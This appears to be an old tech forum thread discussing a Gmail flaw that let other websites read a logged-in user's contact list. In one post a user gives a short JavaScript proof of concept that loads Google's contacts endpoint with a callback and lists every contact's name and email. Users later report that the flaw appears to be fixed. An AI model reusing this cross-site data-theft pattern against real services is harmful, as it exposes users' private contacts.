• Welcome to TechPowerUp Forums, Guest! Please check out our forum guidelines for info related to our community.

Gmail leaves your account open to spammers

Jimmy 2004

New Member
Joined
Jan 15, 2005
Messages
5,458 (1.15/day)
Likes
242
Location
England
System Name Jimmy 2004's PC
Processor S754 AMD Athlon64 3200+ @ 2640MHz
Motherboard ASUS K8N
Cooling AC Freezer 64 Pro + Zalman VF1000 + 5x120mm Antec TriCool Case Fans
Memory 1GB Kingston PC3200 (2x512MB)
Video Card(s) Saphire 256MB X800 GTO @ 450MHz/560MHz (Core/Memory)
Storage 500GB Western Digital SATA II + 80GB Maxtor DiamondMax SATA
Display(s) Digimate 17" TFT (1280x1024)
Case Antec P182
Audio Device(s) Audigy 4 + Creative Inspire T7900 7.1 Speakers
Power Supply Corsair HX520W
Software Windows XP Home
#1
A new flaw has been exposed in Google’s Gmail service which could allow hackers to get hold of your contacts. When you log into your Gmail (Googlemail in some countries) account, Google will put your details into a JavaScript file. Because of this, if you browse other websites whilst logged into your account, any of them could potentially declare the function “google” and be able to get hold of all of your contacts. The only two ways to ensure your privacy is safe are to disable JavaScript in all websites except those you trust or to not browse other sites whilst logged into any Google service. Admittedly Gmail is still only a beta, but a fault like this could be quite serious.

Update: Disabling JavaScript did not solve this problem, however it appears that Google has now fixed this issue and your contacts list should be safe.

Source: Engadget
 
Last edited:

spectre440

New Member
Joined
Jul 18, 2005
Messages
937 (0.20/day)
Likes
13
Location
Israel
Processor Athlon 64 x2 4000+ (65nm Brisbane)
Motherboard Abit AN-M2 (AM2) nForce 630a
Cooling Stock everything (for the time being), 2x120mm fans (intake & exhaust)
Memory 2GB (2x1024) OCZ Platinum PC2-6400 (4-4-4-15, 2T)
Video Card(s) PowerColor ATI HD 2600XT 256mb GDDR4 PCI-e
Storage Hitachi Deskstar 160GB SATA 3.0G/s, External USB2.0 WD 160GB
Display(s) LG 17' LCD (L1753TR)
Case HEC-Compucase 6A, black & grey
Audio Device(s) On-Board 7.1 (realtek)
Power Supply Spire Zeno 650W
Software WinXP Pro SP2 (32-bit, for the time being)
#2
hopefully google will do the right thing, and plug that hole in their user's security.
 

peach1971

New Member
Joined
Oct 1, 2006
Messages
652 (0.16/day)
Likes
46
Location
Germany
Processor AMD Phenom II X2 550 @3600MHz (VCore -0.05V)
Motherboard Gigabyte MA-780G-DS3H (AMD SB700), BIOS: 04/14/09
Cooling Scythe Samurai cooled by 2x Enermax Warp 80mm ~700 RPM
Memory 2x 1GB GeIL Ultra DDR2-800 @1066 CL4-5-5-15 2T
Video Card(s) MSI R4830 OC (HD4830)
Storage Samsung 400 GB S-ATA, WD 400GB S-ATA
Display(s) Samsung 2433BW 1920 x 1200 Pixel (16:10)
Case timeless office tower ;)
Audio Device(s) Asus Xonar D1
Power Supply be quiet! Straight Power BQT E7-400W
Software Windows XP Pro 32bit
#3
Just use Firefox + Add-on NoScript.

Turn on Java to read your mails?
Lol, how far have we gone... :D

And here another usefull thing:
http://www.customizegoogle.com/

No more annoying ads! :D
 

cdawall

where the hell are my stars
Joined
Jul 23, 2006
Messages
26,759 (6.37/day)
Likes
7,663
Location
Houston
System Name Team Blue
Processor 5960X@4.8 1.42v
Motherboard Asus X99M-WS
Cooling EK Supremecy EVO, MCR220-Stack+MCR220+MCR320, D5-PWM+EK X-RES 140
Memory 4x8GB G.Skill Trident Z 3200 CL16
Video Card(s) (2) EVGA SC BLACK 1080Ti's+ EVGA reference 1080Ti soon to be under water
Storage Samsung SM951 512GB, Samsung PM961 512GB
Display(s) Dell UP2414Q 3840X2160@60hz
Case Caselabs Mercury S5
Audio Device(s) Fischer HA-02->Fischer FA-002W High edition/FA-003/Jubilate/FA-011 depending on my mood
Power Supply Seasonic Prime 1200w
Mouse Thermaltake Theron
Keyboard Thermaltake Poseidon ZX
Software W10P
Benchmark Scores Zoom zoom mofo
#4
wondered how my account got spammed
 

Atech

New Member
Joined
Dec 28, 2006
Messages
284 (0.07/day)
Likes
11
Processor Kentsfield Q6600 @ 2.8GHz "I eat source code before breakfast"
Motherboard Asus Striker Extreme 680i (NB:C55XE, SB:MCP55XE)
Cooling Zalman 9700, 1*200mm fan, 5*120mm fans
Memory 8GB OCZ PC6400 - 4*2 @ 622MHz (stability problems)
Video Card(s) Geforce 8800GTS
Storage 2* Seagate Barracuda 7200.10 320GB - no RAID
Display(s) Mitsubishi Diamond Plus 74SB
Case Antec Nine Hundred + optional fans
Audio Device(s) On board (sort of - SupremeFX ADI 1988B)
Power Supply Corsair HW 620w
Software Gentoo GNU+Linux amd64 (latest development kernel)
#5

pt

not a suicide-bomber
Joined
Mar 11, 2006
Messages
8,956 (2.07/day)
Likes
167
Location
Portugal
Processor AMD Turion 64 X2 Mobile TL-60 (Trinidad)
Motherboard ASUS F3Ka (ATI RS690M)
Cooling stock
Memory Nanya 2x1GB ddr2 667@5-5-5-15-2T
Video Card(s) ATI Mobility Radeon HD2600 512MB DDR2@ 580mhz/486mhz
Storage 160GB on laptop+250GB external
Display(s) ASUS 15.4
Case Asus Laptop F3Ka chassis
Audio Device(s) on-board
Power Supply 1:30minutes battery
Software "genui xp", 'cause i hated vista
#6
no spam for me :)
(i don't have java installed)
 

peach1971

New Member
Joined
Oct 1, 2006
Messages
652 (0.16/day)
Likes
46
Location
Germany
Processor AMD Phenom II X2 550 @3600MHz (VCore -0.05V)
Motherboard Gigabyte MA-780G-DS3H (AMD SB700), BIOS: 04/14/09
Cooling Scythe Samurai cooled by 2x Enermax Warp 80mm ~700 RPM
Memory 2x 1GB GeIL Ultra DDR2-800 @1066 CL4-5-5-15 2T
Video Card(s) MSI R4830 OC (HD4830)
Storage Samsung 400 GB S-ATA, WD 400GB S-ATA
Display(s) Samsung 2433BW 1920 x 1200 Pixel (16:10)
Case timeless office tower ;)
Audio Device(s) Asus Xonar D1
Power Supply be quiet! Straight Power BQT E7-400W
Software Windows XP Pro 32bit
#7
Nothing to do with Java?

Google will put your details into a JavaScript file. Because of this, if you browse other websites whilst logged into your account, any of them could potentially declare the function “google” and be able to get hold of all of your contacts.
Sorry, I don´t get it, Atech.
 

Jimmy 2004

New Member
Joined
Jan 15, 2005
Messages
5,458 (1.15/day)
Likes
242
Location
England
System Name Jimmy 2004's PC
Processor S754 AMD Athlon64 3200+ @ 2640MHz
Motherboard ASUS K8N
Cooling AC Freezer 64 Pro + Zalman VF1000 + 5x120mm Antec TriCool Case Fans
Memory 1GB Kingston PC3200 (2x512MB)
Video Card(s) Saphire 256MB X800 GTO @ 450MHz/560MHz (Core/Memory)
Storage 500GB Western Digital SATA II + 80GB Maxtor DiamondMax SATA
Display(s) Digimate 17" TFT (1280x1024)
Case Antec P182
Audio Device(s) Audigy 4 + Creative Inspire T7900 7.1 Speakers
Power Supply Corsair HX520W
Software Windows XP Home
#8
This vulnerability has nothing to do with Java.
Well, from what I read when posting this story it was a JS (JavaScript) file that causes this problem, and you disable Java to protect yourself so it must link to Java :confused:
 

Atech

New Member
Joined
Dec 28, 2006
Messages
284 (0.07/day)
Likes
11
Processor Kentsfield Q6600 @ 2.8GHz "I eat source code before breakfast"
Motherboard Asus Striker Extreme 680i (NB:C55XE, SB:MCP55XE)
Cooling Zalman 9700, 1*200mm fan, 5*120mm fans
Memory 8GB OCZ PC6400 - 4*2 @ 622MHz (stability problems)
Video Card(s) Geforce 8800GTS
Storage 2* Seagate Barracuda 7200.10 320GB - no RAID
Display(s) Mitsubishi Diamond Plus 74SB
Case Antec Nine Hundred + optional fans
Audio Device(s) On board (sort of - SupremeFX ADI 1988B)
Power Supply Corsair HW 620w
Software Gentoo GNU+Linux amd64 (latest development kernel)
#9
Well, from what I read when posting this story it was a JS (JavaScript) file that causes this problem, and you disable Java to protect yourself so it must link to Java :confused:
Code:
<script language="javascript">
function getContacts(response){
var output = "";
for(x=0;x<response.Body.Contacts.length;x++){
output += response.Body.Contacts[x].Name + " <" + response.Body.Contacts[x].Email + "> ";
}
alert(output);
}
</script>

<script language="javascript" xsrc="http://video.google.com/data/contacts?out=js&max=500 &psort=Affinity&callback=getContacts">
</script>
No calls to the Java API there.

Edit: Gah to having to escape characters within code tags ...
 
Last edited:

Jimmy 2004

New Member
Joined
Jan 15, 2005
Messages
5,458 (1.15/day)
Likes
242
Location
England
System Name Jimmy 2004's PC
Processor S754 AMD Athlon64 3200+ @ 2640MHz
Motherboard ASUS K8N
Cooling AC Freezer 64 Pro + Zalman VF1000 + 5x120mm Antec TriCool Case Fans
Memory 1GB Kingston PC3200 (2x512MB)
Video Card(s) Saphire 256MB X800 GTO @ 450MHz/560MHz (Core/Memory)
Storage 500GB Western Digital SATA II + 80GB Maxtor DiamondMax SATA
Display(s) Digimate 17" TFT (1280x1024)
Case Antec P182
Audio Device(s) Audigy 4 + Creative Inspire T7900 7.1 Speakers
Power Supply Corsair HX520W
Software Windows XP Home
#10
No calls to the Java API there.

Whatever the case is, log into your Gmail and click here to see a nice list of your contacts. I'm not sure how a hacker can get hold of this, but I expect it's true. The reason that it may no longer be using Java is because Google claim to have fixed the issue. I'm not expert on Java, I'm just informing people of what I find.

Edit: well I disabled JavaScript and that page still shows my contacts... but Gmail doesn't work. Probably need to clear my cookies ect.

Edit2: Disabling JavaScript does NOT seem to solve this problem, that link still shows my contacts after I have cleared all my internet data with Javascript disabled... and I can't even use the Gmail service!!!

Edit3: Couldn't the line
script language="javascript" xsrc="http://video.google.com/data/contacts?out=js&max=500 &psort=Affinity&callback=getContacts"
be linked to this?
 
Last edited:

WarEagleAU

Bird of Prey
Joined
Jul 9, 2006
Messages
10,809 (2.56/day)
Likes
529
Location
Gurley, AL
System Name Boddha Getta Boddha Getta Bah!
Processor AMD FX 6100 @ 4.432Ghz @1.382
Motherboard ASUS M5A99X EVO AMD 990X AMD SB950
Cooling Custom Water. EK 240MM Kit, Supreme HSF - Runs 35C
Memory 2 x 4GB Corsair Vengeance White LP @ 1.35V
Video Card(s) XFX Radeon HD 6870 980/1100
Storage WD Caviar Black 1.0TB, WD Caviar Green 1.0TB, WD 160GB
Display(s) Asus VH222/S 22: (21.5" Viewable) 1920x1080p HDMI LCD Monitor
Case NZXT White Switch 810
Audio Device(s) Onboard Realtek 5.1
Power Supply NZXT Hale 90 Gold Cert 750W Modular PSU
Software Windows 8.1 Profession 64 Bit
#11
Good thing I dont use Gmail, too hard to get one anywho.
 

mout12

New Member
Joined
Mar 23, 2006
Messages
114 (0.03/day)
Likes
0
Location
Reno
#12
Good thing I dont use Gmail, too hard to get one anywho.
no. Go to mail.google.com, click 'SIGN UP', then enter your mobile phone number, and they'll send you a password via text message to your phone number. you'll have an account.
 

Namslas90

New Member
Joined
Aug 27, 2006
Messages
4,846 (1.16/day)
Likes
535
Location
Earth
Processor AMD PII 940
Motherboard Biostar TA790GXB3
Cooling Custom Air
Memory 4GB G.SKILL (2x2)
Video Card(s) ASUS Radeon HD 5970
Storage 2X32GB ST SSd R0 + WD500GB storage
Display(s) Asus 22" Widescreen
Case Thermaltake V9 BE
Power Supply PCP&C 750 Silencer
#13
Just proves that you can't rely on anyone to secure your PC, but yourself!
 

cdawall

where the hell are my stars
Joined
Jul 23, 2006
Messages
26,759 (6.37/day)
Likes
7,663
Location
Houston
System Name Team Blue
Processor 5960X@4.8 1.42v
Motherboard Asus X99M-WS
Cooling EK Supremecy EVO, MCR220-Stack+MCR220+MCR320, D5-PWM+EK X-RES 140
Memory 4x8GB G.Skill Trident Z 3200 CL16
Video Card(s) (2) EVGA SC BLACK 1080Ti's+ EVGA reference 1080Ti soon to be under water
Storage Samsung SM951 512GB, Samsung PM961 512GB
Display(s) Dell UP2414Q 3840X2160@60hz
Case Caselabs Mercury S5
Audio Device(s) Fischer HA-02->Fischer FA-002W High edition/FA-003/Jubilate/FA-011 depending on my mood
Power Supply Seasonic Prime 1200w
Mouse Thermaltake Theron
Keyboard Thermaltake Poseidon ZX
Software W10P
Benchmark Scores Zoom zoom mofo
#14

pt

not a suicide-bomber
Joined
Mar 11, 2006
Messages
8,956 (2.07/day)
Likes
167
Location
Portugal
Processor AMD Turion 64 X2 Mobile TL-60 (Trinidad)
Motherboard ASUS F3Ka (ATI RS690M)
Cooling stock
Memory Nanya 2x1GB ddr2 667@5-5-5-15-2T
Video Card(s) ATI Mobility Radeon HD2600 512MB DDR2@ 580mhz/486mhz
Storage 160GB on laptop+250GB external
Display(s) ASUS 15.4
Case Asus Laptop F3Ka chassis
Audio Device(s) on-board
Power Supply 1:30minutes battery
Software "genui xp", 'cause i hated vista
#15
i have 99, anyone wants :)?
 
Joined
Jan 12, 2006
Messages
143 (0.03/day)
Likes
22
System Name Little Bear
Processor Inten 3770K @4.4Ghz 1.2v
Motherboard ASRock Extreme4-M
Cooling Thermalright Macho120 Rev.A
Memory 4x4GB Samsung LP DDR3 @ 1866MHz 9-9-9-28
Video Card(s) Radeon R9 290
Storage 256GB Samsung SSD 830 + 1TB SSD 840 EVO + 2.5in 1TB Hitachi
Display(s) Dell U2711
Case Silverstong SG10
Audio Device(s) USB SB Omni
Power Supply Enermax Modu 82+ 620w
Software Windows 8.1 x64
#16
Whatever the case is, log into your Gmail and click here to see a nice list of your contacts. I'm not sure how a hacker can get hold of this, but I expect it's true. The reason that it may no longer be using Java is because Google claim to have fixed the issue. I'm not expert on Java, I'm just informing people of what I find.
...snip.
That link doesn't work for me.....meaning that when I am logged into my Gmail acct, and when I click on the link all I get is this:
google ({
Success: false,
Errors: []
})

Using FireFox.
 

Jimmy 2004

New Member
Joined
Jan 15, 2005
Messages
5,458 (1.15/day)
Likes
242
Location
England
System Name Jimmy 2004's PC
Processor S754 AMD Athlon64 3200+ @ 2640MHz
Motherboard ASUS K8N
Cooling AC Freezer 64 Pro + Zalman VF1000 + 5x120mm Antec TriCool Case Fans
Memory 1GB Kingston PC3200 (2x512MB)
Video Card(s) Saphire 256MB X800 GTO @ 450MHz/560MHz (Core/Memory)
Storage 500GB Western Digital SATA II + 80GB Maxtor DiamondMax SATA
Display(s) Digimate 17" TFT (1280x1024)
Case Antec P182
Audio Device(s) Audigy 4 + Creative Inspire T7900 7.1 Speakers
Power Supply Corsair HX520W
Software Windows XP Home
#17
That link doesn't work for me.....meaning that when I am logged into my Gmail acct, and when I click on the link all I get is this:
google ({
Success: false,
Errors: []
})

Using FireFox.
Me too, I think they must've fixed it. I've updated the newspost again.

When I clicked that link earlier it would bring up a list in which you could find any info about your contacts you had saved.